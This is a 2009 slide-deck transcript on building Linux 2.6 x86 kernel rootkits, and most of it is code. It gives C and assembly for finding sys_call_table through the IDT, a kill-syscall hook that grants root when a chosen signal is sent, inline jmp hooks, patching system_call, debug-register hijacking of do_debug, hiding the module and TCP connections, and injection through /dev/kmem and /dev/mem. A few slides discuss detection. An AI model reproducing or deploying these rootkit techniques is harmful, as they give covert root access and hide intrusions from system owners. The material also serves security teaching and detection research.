Rootkit on linux_x86_v2.6
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Rootkit on linux_x86_v2.6



Rootkit on linux_x86_v2.6

Rootkit on linux_x86_v2.6



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    Rootkit on linux_x86_v2.6 Rootkit on linux_x86_v2.6 Presentation Transcript

    • Rootkit on Linux x86 v2.6 WangYao 2009-04-21
    • NOTE The report and code is very evil NOT distribute them
    • Index Rootkit In Brief Rootkit based on LKM  How to get sys_call_table  Simple sys_call_table hook  Inline hook  Patching system_call  Abuse Debug Registers  Real Rootkit Rootkit based non-LKM  Using /dev/kmem and kmalloc  Using /dev/mem and kmalloc
    • Rootkits In Brief “A rootkit is a set of software tools intended to conceal running processes, files or system data from the operating system… Rootkits often modify parts of the operating system or install themselves as drivers or kernel modules. ” Rootkit, Trojans, Virus, Malware?  Now, they often bind together, be called malware.
    • Rootkits Category UserSpace Rootkit  Run in user space  Modify some files,libs,config files, and so on. KernelSpace Rootkit  Run in kernel space  Modify kernel structures, hook system calls at the lowest level
    • Rootkits Common Function Hide Process Hide File Hide Network Connection Back Door Key Logger
    • Rootkits Key words Hijack Hook System call sys_call_table sysenter IDT Debug Register
    • Rootkits based on LKM How to get sys_call_table Simple sys_call_table hook Inline hook Patching system_call Abuse Debug Registers Real Rootkit
    • sys_call_table
    • How to get sys_call_table Historically, LKM-based rootkits used the ‘sys_call_table[]’ symbol to perform hooks on the system calls sys_call_table[__NR_open] = (void *) my_func_ptr; However, since sys_call_table[] is not an exported symbol anymore, this code isn’t valid We need another way to find ‘sys_call_table[]’
    • How to get sys_call_table The function ‘system_call’ makes a direct access to ‘sys_call_table[]’ (arch/i386/kernel/entry.S:240) call *sys_call_table(,%eax,4) In x86 machine code, this translates to: 0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1> Where the 4 ‘addr’ bytes form the address of ‘sys_call_table[]’
    • How to get sys_call_table Problem: ‘system_call’ is not exported too  It’s not, but we can discover where it is! ‘system_call’ is set as a trap gate of the system (arch/i386/kernel/traps.c:1195): set_system_gate(SYSCALL_VECTOR,&system_call); In x86, this means that its address is stored inside the Interrupt Descriptor Table (IDT) The IDT location can be known via the IDT register (IDTR) And the IDTR, finally, can be retrieved by the SIDT (Store IDT) instruction
    • How to get sys_call_table Steps to get sys_call_table  Get the IDTR using SIDT  Extract the IDT address from the IDTR  Get the address of ‘system_call’ from the 0x80th entry of the IDT  Search ‘system_call’ for our code fingerprint  We should have the address of ‘sys_call_table[]’ by now, have fun!
    • IDT
    • IDT Descriptor 3 Types: ●Task Gate ●Interrupt Gate ●Trap Gate
    • get_system_callvoid *get_system_call(void) struct idt_descriptor{ { unsigned char idtr[6]; unsigned short off_low; unsigned long base; unsigned short sel; struct idt_descriptor desc; unsigned char none, flags; unsigned short off_high; asm ("sidt %0" : "=m" (idtr)); }; base = *((unsigned long *) &idtr[2]); memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); return((void *) ((desc.off_high << 16) + desc.off_low));} /*********** fin get_sys_call_table() ***********/
    • get_sys_call_tablevoid *get_sys_call_table(void *system_call){ unsigned char *p; unsigned long s_c_t; int count = 0; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; if (count++ > 500) { count = -1; break; } } if (count != -1) { p += 3; s_c_t = *((unsigned long *) p); } else s_c_t = 0; return((void *) s_c_t);} /********** fin get_sys_call_table() *************/
    • Simple sys_call_table Hook [...] asmlinkage int (*old_kill) (pid_t pid, int sig); [...] int init_module(void) { old_kill = sys_call_table[SYS_kill] ; sys_call_table[SYS_kill]= (void *) my_kill; [...] } void cleanup_module(void) { sys_call_table[SYS_kill] = old_kill; [...] }
    • ... sys_exit 0xc0123456: int sys_exit(int)0xc0123456 … .. sys_fork 0xc0789101: int sys_fork(void)0xc0789101 … .. 0xc0112131: int sys_read(int,void*,int) sys_read …0xc0112131 .. 0xc0415161: int sys_write(int,void*,int) Sys_write …0xc0415161 .. ... 0xbadc0ded: int hacked_write(int,void*,void) Hacked Write 0xbadc0ded
    • Simple kill syscall hookasmlinkage int hacked_kill(pid_t pid, int sig){ struct task_struct *ptr = current; int tsig = SIG, tpid = PID, ret_tmp; printk("pid: %d, sig: %dn", pid, sig); if ((tpid == pid) && (tsig == sig)) $whoami { wangyao ptr->uid = 0; $Kill -s 58 12345 ptr->euid = 0; $whoami ptr->gid = 0; $root ptr->egid = 0; return(0); } else { ret_tmp = (*orig_kill)(pid, sig); return(ret_tmp); } return(-1);} /********** fin hacked_kill ************/
    • Inline hook ... sys_exit 0xc0123456: int sys_exit(int)0xc0123456 … .. sys_fork 0xc0789101: int sys_fork(void) …0xc0789101 .. 0xc0112131: int sys_read(int,void*,int) sys_read … ..0xc0112131 0xc0415161: int sys_write(int,void*,int) … sys_write .. jmp hacked_write0xc0415161 ... …… Hacked Write 0xbadc0ded 0xbadc0ded: int hacked_write(int,void*,void) …… ret
    • Inline hookprintk("Init inline hook.n");s_call = get_system_call();sys_call_table = get_sys_call_table(s_call);orig_kill = sys_call_table[__NR_kill];memcpy(original_syscall, orig_kill, 5);buff = (unsigned char*)orig_kill;hookaddr = (unsigned long)hacked_kill;//buff+5+offset = hookaddroffset = hookaddr - (unsigned int)orig_kill - 5;printk("hook addr: %xn", hookaddr);printk("offset: %xn", offset);*buff = 0xe9; //jmp*(buff+1) = (offset & 0xFF);*(buff+2) = (offset >> 8) & 0xFF;*(buff+3) = (offset >> 16) & 0xFF;*(buff+4) = (offset >> 24) & 0xFF;printk("Modify kill syscall.n");
    • Detect simple sys_call_table hookand inline hook Detections  Saves the addresses of every syscall  Saves the checksums of the first 31 bytes of every syscall’s code  Saves the checksums of these data themselves Now you can’t change the addresses in the system call table Also can’t patch the system calls with jmp’s to your hooks More Tricks......
    • Patching system_call How to hook all syscalls, without modify sys_call_table and IDT? You can modify int 0x80s handler(system_call), and manage the system calls directly.
    • system_call---- arch/i386/kernel/entry.S ----# system call handler stubENTRY(system_call) pushl %eax # save orig_eax SAVE_ALL GET_THREAD_INFO(%ebp) cmpl $(nr_syscalls), %eax ---> Those two instrutions will replaced by jae syscall_badsys ---> Our Own jump# system call tracing in operation testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) jnz syscall_trace_entrysyscall_call: call *sys_call_table(,%eax,4) movl %eax,EAX(%esp) # store the return value ....---- eof ----
    • Patching system_call Trick Original Code: 11 Bytes  cmpl $(nr_syscalls), %eax ==> 5 Bytes  jae syscall_badsys ==> 6 Bytes Jump Code: 5 Bytes  pushl $addr ==> 5 Bytes  ret ==> 1 Bytes
    • set_sysenter_handlervoid set_sysenter_handler(void *sysenter){ unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; /* Seek "call *sys_call_table(,%eax,4)"*/ while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; /* Seek "jae syscall_badsys" */ while (!((*p == 0x0f) && (*(p+1) == 0x83))) p--; p -= 5; memcpy(orig_sysenter, p, 6); start_patch_sysenter = p; /* We put the jump*/ *p++ = 0x68; /*pushl*/ p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); /*now, "jae"-->ret*/ p = (unsigned char *) p2; *p = 0xc3; /*ret*/} /************* fin set_sysenter_handler() **********/
    • new_idt & hookvoid new_idt(void) void hook(void){ { ASMIDType register int eax asm("eax"); ( "cmp %0, %%eax n" switch (eax) "jae syscallbad n" { "jmp hook n" case __NR_kill: CallHookedSyscall(hacked_kill); "syscallbad: n" break; "jmp syscall_exit n" default: JmPushRet(syscall_call); : : "i" (NR_syscalls) break; ); }} /********** fin new_idt() **************/ JmPushRet( after_call ); } /*********** fin hook() ************/
    • Detect system_call hook Trick 1: Copy the system call table and patch the proper bytes in ‘system_call’ with the new address  This can be avoided by having St. Michael making checksums of ‘system_call’ code too Trick 2: Copy ‘system_call’ code, apply Trick 1 on it, and modified the 0x80th ID in the IDT with the new address  This can be avoided by having St. Michael storing the address of ‘system_call’ too
    • Abuse Debug Registers DBRs 0-3: contain the linear address of a breakpoint. A debug exception (# DB) is generated when the case in an attempt to access at the breakpoint DBR 6: lists the conditions that were present when debugging or breakpoint exception was generated DBR 7: Specifies forms of access that will result in the debug exception to reaching breakpoint
    • Debug Registers
    • Evil Ideas of abusing debugRegisters Based on the above far this allows us to generate a #DB when the cpu try to run code into any memory location at our choice, even a kernel space Evil Ideas  Set breakpoint on system_call(in 0x80s handler)  Set breakpoint on sysenter_entry(sysenter handler) OMG, every syscall will be hooked!
    •  The #DB also be managed through IDT ENTRY(debug) pushl $0 pushl $SYMBOL_NAME(do_debug) jmp error_code fastcall void do_debug(struct *pt_regs,int errorcode) At the moment we can then divert any flow execution kernel to do_debug, without changing a single bit of text segment!
    • Some breakpoint code/* DR2 2nd watch on the syscall_table entry for this syscall */dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *);/* set dr2 read watch on syscall_table */__asm__ __volatile__ ( "movl %0,%%dr2 nt" : : "r" (dr2) ); /* get dr6 */ __asm__ __volatile__ ( "movl %%dr6,%0 nt" : "=r" (status) ); /* enable exact breakpoint detection LE/GE */ s_control |= TRAP_GLOBAL_DR2; s_control |= TRAP_LE; s_control |= TRAP_GE; s_control |= DR_RW_READ << DR2_RW; s_control |= 3 << DR2_LEN; /* set new control .. gives up syscall handler to avoid races */ __asm__ __volatile__ ( "movl %0,%%dr6 nt" "movl %1,%%dr7 nt" : : "r" (status), "r" (s_control) );
    • Hook do_debug When hardware breakpoints appear, kernel will call do_debug(). BUT orignal do_debug() not set eip to our evil func. So we must hook do_debug() ourself. It means that INT 1 of IDT, will be set hacked_do_debug() insead of do_debug().
    • Find do_debugKPROBE_ENTRY(debug) RING0_INT_FRAME cmpl $sysenter_entry,(%esp) <- find sysenter_entry here too! jne debug_stack_correct FIX_STACK(12, debug_stack_correct, debug_esp_fix_insn)debug_stack_correct: pushl $-1 # mark this as an int CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL xorl %edx,%edx # error code 0 movl %esp,%eax # pt_regs pointer call do_debug <- PATCH ME! jmp ret_from_exception CFI_ENDPROCKPROBE_END(debug)
    • Patch do_debugstatic int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug){ unsigned char *p = (unsigned char *)handler; unsigned char buf[4] = "x00x00x00x00"; unsigned int offset = 0, orig = 0; /* find a candidate for the call .. needs better heuristics */ while (p[0] != 0xe8) p ++; buf[0] = p[1]; buf[1] = p[2]; buf[2] = p[3]; buf[3] = p[4]; offset = *(unsigned int *)buf; orig = offset + (unsigned int)p + 5; offset = my_do_debug - (unsigned int)p - 5; p[1] = (offset & 0x000000ff); p[2] = (offset & 0x0000ff00) >> 8; p[3] = (offset & 0x00ff0000) >> 16; p[4] = (offset & 0xff000000) >> 24; return orig;}
    • Debug register hook From hacked_do_debug can then have access to the value of eip representing the return address on the person who triggered the breakpoint, which is the kernel in our case, so you can change at will the flow of execution after the procedure! Changing eip can send a running our routine that once made the dirty work take care to restore the original flow of execution regs->eip = (unsigned int)hook_table[regs->eax];
    • Execution flow
    • hacked_do_debughacked_do_debug():/* get dr6 */__asm__ __volatile__ ( "movl %%dr6,%0 nt" : "=r" (status) );....../* check for trap on dr2 */if (status & DR_TRAP2){ trap = 2; status &= ~DR_TRAP2;}......if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax]){ /* double check .. verify eip matches original */ unsigned int verify_hook = (unsigned int)sys_p[regs->eax]; if (regs->eip == verify_hook) { // 这里设置下一步的执行函数 regs->eip = (unsigned int)hook_table[regs->eax]; DEBUGLOG(("*** hooked __NR_%d at %X to %Xn", regs->eax, verify_hook, (unsigned int)hook_table[regs->eax])); }}......
    • More Evil We modified do_debug(), if someone check the address of do_debug(), will find the rootkit. Wait, if we set another hardware breakpoint on do_debug()s address. It means that we can return someone the wrong address of do_debug(), and can not be detected. Debug Regiser Save us again :-)
    • Real Rootkit Strace system call Hook system call Hide rootkit self
    • Strace system call$strace".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = 3fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0fcntl64(3, F_GETFD) = 0x1 (flags FD_CLOEXEC)getdents64(3, /* 9 entries */, 4096) = 272getdents64(3, /* 0 entries */, 4096) = 0close(3) =0......$strace ps......stat64("/proc/3105", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0open("/proc/3105/stat", O_RDONLY) =6read(6, "3105 (kmpathd/0) S 2 0 0 0 -1 41"..., 1023) = 130close(6) =0...... $strace netstat -ant ...... open("/proc/net/tcp", O_RDONLY) =3 read(3, " sl local_address rem_address "..., 4096) = 600 write(1, "tcp 0 0 "..., 80) = 80 write(1, "tcp 0 0 192.168.122."..., 80) = 80 write(1, "tcp 0 0"..., 80) = 80 read(3, "", 4096) =0 close(3) =0 ......
    • Hook system call Have be discussed Previously  Simple sys_call_table hook  Inline hook  Patching system_call  Abuse Debug Registers
    • Hide module & networkstruct module *m = &__this_module;/* Delete from the module list*/if (m->init == init_module) list_del(&m->list); struct proc_dir_entry *tcp = proc_net->subdir->next; /* redefine tcp4_seq_show() */ while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir)) tcp = tcp->next; /* Hide TCP Connection Information in /proc/net/tcp */ if (tcp != proc_net->subdir) { orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show; ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show; }
    • Rootkits based on non-LKM Access kernel resource from userspace through some infrastructure of Linux, Mostly based on /dev/kmem and /dev/mem. Famous rootkit  suckit
    • /dev/kmem /dev/kmem  Kernel space virtual memory snapshot /dev/mem  Physical memory snapshot Hacking  read/write  mmap
    • Using kmalloc based non-LKMcode injection The addresses of the syscall table and of the function kmalloc() within the kernel are found by searching kernel memory for certain patterns. The function kmalloc() is internal to the kernel and needed to reserve space in kernel memory. The address of kmalloc() is put into an unused entry of the syscall table. kmalloc() is executed as a system call and memory in the kernel is allocated. The rootkit is written to the freshly reserved space in the kernel. The address of the rootkit is put into the unused entry of the syscall table, overwriting the address of kmalloc(). The rootkit is called as a system call and finally running in kernel mode.
    • Steps of suckit 1.3a Sidt read/mmap /dev/kmem Search fingerprint opcode Set kmalloc into sys_call_table Insert rootkit opcode into kernel(Patching) Hook......
    • Detection of rootkit based/dev/kmem Most of distributions have disabled /dev/kmem feature. Device Drivers => Character Devices => /dev/kmem virtual device support BUT Debian still has this hole ;-) Detection:  Using the same steps to check sys_call_table  Using LKM to check sys_call_table
    • /dev/mem /dev/mem  Driver interface to physically addressable memory.  lseek() to offset in “file” = offset in physical mem  EG: Offset 0x100000 = Physical Address 0x100000  Reads/Writes like a regular character device /dev/mem is same with /dev/kmem  Same techniques with Virt -> Phys address translation
    • Address Translation Higher half GDT loading concept applies Bootloader trick to use Virtual Addresses along with GDT in unprotected mode to resolve physical addresses.  Kernel usually loaded at 0x100000 (1MB) in physical memory  Mapped to 0xC0100000 (3GB+1MB) Virtually
    • Address Translation0xC0100000 + 0x40000000=0xC0100000 – 0xC0000000=0x00100000
    • /dev/mems address translationcode #define KERN_START 0xC0000000 int iskernaddr(unsigned long addr) { /*is address valid?*/ if(addr<KERN_START) return -1; else return 0 ; } /*read from kernel virtual address*/ int read_virt(unsigned long addr, void *buf, unsigned int len) { if( iskernaddr(addr)<0 ) return -1; addr = addr - KERN_START; lseek(mem_fd, addr, SEEK_SET); return read(mem_fd, buf, len); }
    • Steps of rootkit using /dev/memand kmalloc Sidt Read /dev/mem [address translation] Search fingerprint opcode Set kmalloc into sys_call_table Insert rootkit opcode into kernel(Patching) Hook......
    • Detection of rootkit based/dev/mem SELinux has created a patch to address this problem (RHEL and Fedora kernels are safe) Mainline kernel addressed this from 2.6.26  Kernel Hacking => Filter access to /dev/mem Detection:  Using the same steps to check sys_call_table  Using LKM to check sys_call_table
    • Next BIOS rootkit PCI rootkit Virtualize Machine rootkit  subvirt Bootkit  NTLDR  Grub
    • Reference LKM Rootkits on Linux x86 v2.6: Mistifying the debugger, ultimate stealthness Advances in attacking linux kernel Kernel-Land Rootkits Intel® 64 and IA-32 Architectures Software Developers Manuals Developing Your Own OS On IBM PC Handling Interrupt Descriptor Table for fun and profit Execution path analysis: finding kernel based rootkits Malicious Code Injection via /dev/mem
    • Show Time;-)
    • Q&A